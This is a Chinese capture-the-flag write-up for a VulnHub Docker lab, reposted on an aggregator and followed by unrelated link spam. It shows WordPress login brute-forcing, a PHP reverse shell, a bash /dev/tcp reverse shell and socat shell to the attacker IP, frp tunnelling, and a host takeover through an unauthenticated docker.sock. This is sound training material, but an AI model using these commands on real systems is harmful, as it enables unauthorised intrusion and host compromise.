vulnerable_docker_containement 靶机 - 实践

news/2025/11/21 12:38:49/文章来源:https://www.cnblogs.com/gccbuaa/p/19252291

vulnerable_docker_containement靶机

PDF:Target-practice/A_靶机复现 at main · szjr123/Target-practice

靶机描述没什么用,大意就是介绍这是个靶机。

靶机下载链接:

https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova

有困难和简单两个模式

信息搜集

会直接给出IP:10.10.10.150

端口扫描:

nmap -p- --min-rate 1000  10.10.10.150

给出22和8000端口:

nmap -p22,8000 -Sc -A -Pn --min-rate 1000 10.10.10.150

经典wordpress

访问看看

GetShell

docker环境

/robots.txt

wordpress版本都不是很高

/wp-admin/admin-ajax.php有个CVE-2022-21661

试了一下发现不能用

端口扫描的时候出来了bob,后台挂一下爆破

python2 wpforce.py -i ../dict/user.txt -w ../dict/pass.txt -u "http://10.10.10.150:8000/wp-login.php"

登录进入后台

找到flag1

低版本直接上传shell就行

1、插件上传打包好的shell.zip

2、主题上传shell.php

3、修改主题404.php代码,访问特定的不存在 url(这个一般最简单)

4、修改header.php,执行恶意代码

kali自带:/usr/share/webshells/php/php-reverse-shell.php

cp /usr/share/webshells/php/php-reverse-shell.php ./
ls
vim php-reverse-shell.php

修改脚本

访问一个不知道的页面

反弹成功

没有python,不能用pty形成交互页面

可以升级nc、socat、script

攻击机:

# 首先下载(不要直接下/bin的,过去依赖没有)

​
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
python -m http.server 9999
​

# 执行

socat file:`tty`,raw,echo=0 tcp-listen:4444

靶机:

​
curl -O http://10.10.10.148:4444/socat
chmod +x socat
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.148:4444
​

docker逃逸

验证一下docker环境:

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

传个linpeas.sh上去

curl http://10.10.10.148:9999/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Linux version 3.13.0-128-generic (buildd@lgw01-39) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017

ip add

Ping命令查看存活主机

for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

端口探测

脚本:

------
#!/bin/bash
hosts=(
"172.18.0.1"
"172.18.0.2"
"172.18.0.3"
"172.18.0.4"
)
END=65535
for host in "${hosts[@]}"
do
echo "==============================="
echo "Scanning $host"
echo "==============================="
for ((port=1;port<=END;port++))
do
echo "" > /dev/tcp/$host/$port && echo "Port $port is open"
done 2>/dev/null
done
------

下载脚本

curl http://10.10.10.148:9999/port.sh -o port.sh
chmod +x port.sh
./port.sh

代理访问,参考(使用frp配置内网访问(穿透)教程(超详细,简单)-CSDN博客):

​
curl -O http://10.10.10.148:9999/frpc
curl -O http://10.10.10.148:9999/frpc.ini
​

frpc.ini

frps.ini

chmod +x frpc

攻击机:

./frps -c frps.ini

靶机:

看见success

修改文件

sudo gedit /etc/proxychains4.conf

proxychains nmap -sT -sV -Pn -n -p8022 172.18.0.2

再次反弹shell

bash -i >& /dev/tcp/10.10.10.148/9988 0>&1

/run目录下存在docker.sock文件,remote API未授权访问

参考:Docker Remote api在安全中的应用杂谈 - SecPulse.COM | 安全脉搏

换源,没有vim,echo写入

cat > /etc/apt/sources.list << 'EOF'
deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
EOF

安装docker

apt-get update
apt-get install docker.io

挂载宿主机的根目录到容器内

docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash

读取宿主机文件

cd /tmp/1/
cat flag_3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/972003.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年 11 月实木双锁扣地板厂家推荐排行榜,双锁扣地板,实木地板,锁扣地板,实木双锁扣地板公司推荐,精选优质品牌与选购指南

2025年11月实木双锁扣地板厂家推荐排行榜 行业背景与发展趋势 实木双锁扣地板作为现代地板行业的重要品类,凭借其独特的安装便捷性和稳定性,在高端住宅、商业空间等领域广受青睐。双锁扣技术通过精密的榫卯结构设计,…

ftp配置linux

在 Linux 系统中,ftp 是一个传统的 FTP 服务,通常通过 vsftpd(Very Secure FTP Daemon)来实现。如果你想要配置 FTP 服务,以下是一些常见的配置方法和说明。一、安装 vsftpd如果你还没有安装 vsftpd,可以使用以下…

2025 年 11 月定制地板厂家推荐排行榜,实木定制地板,强化定制地板,复合定制地板,别墅专用定制地板公司精选

2025年11月定制地板厂家推荐排行榜:实木、强化、复合及别墅专用定制地板公司精选 随着消费升级和个性化需求的不断提升,定制地板市场呈现出蓬勃发展的态势。从实木定制地板到强化定制地板,从复合定制地板到别墅专用…

ftp配置 linux

在 Linux 系统中,ftp 是一个用于在本地和远程主机之间进行文件传输的命令行工具,通常通过 ftp 命令行客户端来使用。不过,ftp 已经在现代 Linux 发行版中逐渐被 vsftpd(FTP 服务器)和 ftp 命令行工具(如 ftp、lf…

MaxKB实现DataBase数据查询分析与AI问答功能

本文讲通过讲述如何使用MaxKB,完成构建适合自己项目的AI模型并实现网站部署。同时讲述一些所遇到的坑。 技术与环境:Deepseek chat API;MaxKB;Mysql;Docker;Windows11 前置要求:安装docker什么是MaxKB? MaxKB是…

2025 年 11 月数控机床厂家推荐排行榜,CNC 数控机床,精密数控机床,数控车床,数控铣床,加工中心厂家推荐

2025年11月数控机床厂家推荐排行榜:CNC数控机床与精密制造设备选购指南 行业背景与发展趋势 随着制造业向智能化、精密化方向快速发展,数控机床作为现代制造业的核心装备,其技术水平直接影响着制造业的整体竞争力。…

2025 年 11 月实木地板厂家推荐排行榜,多层实木地板,纯实木地板,进口实木地板,环保实木地板公司精选

2025 年 11 月实木地板厂家推荐排行榜:多层实木地板、纯实木地板、进口实木地板、环保实木地板公司精选 随着人们对居住环境品质要求的不断提升,实木地板作为高端地面装饰材料,在建筑装饰领域的应用日益广泛。实木地…

2025 年 11 月柏尔地板厂家推荐排行榜,实木地板,多层实木地板,地暖地板,环保地板公司推荐,甄选优质材质与精湛工艺!

2025年11月柏尔地板厂家推荐排行榜:甄选优质材质与精湛工艺 随着人们对居住环境品质要求的不断提升,地板作为家居空间的重要组成部分,其材质选择与工艺水准日益受到关注。实木地板、多层实木地板、地暖地板等不同类…

【新品抢先看】精密拆装新纪元!正点原子S40/S40P 电动螺丝刀,以黑科技定义工具高端新纪元!

【新品抢先看】精密拆装新纪元!正点原子S40/S40P 电动螺丝刀,以黑科技定义工具高端新纪元! 当工具行业还在 “功能内卷” 时,我们在思考:真正的高端工具,能否成为 “技术图腾”,“审美符号” 与 “体验革命” 的…

这辈子有了

这辈子有了.原文来自CnBlogs, 作者: young_tea.

2025 XTOOL X100 MAX 2 Key Programmer: 42 Services, ECU Programming, J2534 VCI KC501

The X100 MAX 2: Solving Modern Automotive Challenges for European & American Mechanics and Car Owners Problem: Outdated Tools Can’t Keep Up with Today’s Vehicles Today’s European and American ca…

详细介绍:设计模式-状态模式(State)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

洛谷 B4412:[GESP202509 二级] 菱形 ← 模拟算法

​【题目来源】https://www.luogu.com.cn/problem/B4412【题目描述】小 A 想绘制一个菱形。具体来说,需要绘制的菱形是一个 n 行 n 列的字符画,n 是一个大于 1 的奇数。菱形的四个顶点依次位于第 1 行、第 1 列、第 …

豆包优化提示词

豆包优化提示词优化后提示词(精准、简洁、无歧义) 输入格式:包含两份中文文档,分别标注为 “文档 1:< 文本内容>”“文档 2:< 文本内容 >”,文本内容可能存在换行 / 断句; 核心判断:仅提取「文档…

突破亚微米光电子器件制造瓶颈!配体交换辅助打印技术搭建全打印红外探测器

突破亚微米光电子器件制造瓶颈!配体交换辅助打印技术搭建全打印红外探测器2025-11-21 12:14 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x:…

ftp连接linux服务器

要连接 Linux 服务器上的 FTP 服务,通常使用 ftp 命令行工具。以下是几种常见的连接方式:? 1. 使用 ftp 命令行工具ftp [IP地址或主机名]示例:ftp 192.168.1.100操作步骤:输入 user,然后输入用户名(通常是 root…

ftp连接linux

要通过 FTP 连接到 Linux 系统,通常需要使用 FTP 客户端,如 ftp 命令行工具或 lftp。以下是几种常见方式:? 1. 使用 ftp 命令行工具示例:ftp <IP_ADDRESS>说明:<IP_ADDRESS> 是你要连接的 Linux 服务…

ftp登录linux

要登录到 Linux 系统的 FTP 服务,通常需要以下步骤:一、前提条件FTP 服务器已启动:你需要一个 FTP 服务器(如 vsftpd、proftpd 等)运行在 Linux 系统上。确保 FTP 服务已配置并监听在正确的端口(通常是 21)。FT…

GODIAG VAG Test Platform GT110+GT111 CAN-Bus Pogo Pin for 3rd/3.5th/4th Gen VAG IMMO Key Matching

Solving VAG IMMO Key Matching Challenges: The GODIAG VAG Test Platform GT110 plus GT111 For European and American mechanics and car owners dealing with VW, Skoda, or Seat (VAG Group) vehicles, immobili…

MyEMS 的 “数字神经中枢”:解析其云 - 边 - 端协同架构如何实现毫秒级能效优化

在双碳目标与能源市场化改革的双重驱动下,企业对能源管理的需求已从 “事后统计” 转向 “实时优化”,毫秒级的决策响应、精准到设备级的能效调控成为核心诉求。作为开源能源管理系统的标杆,MyEMS 创新性地构建 “云…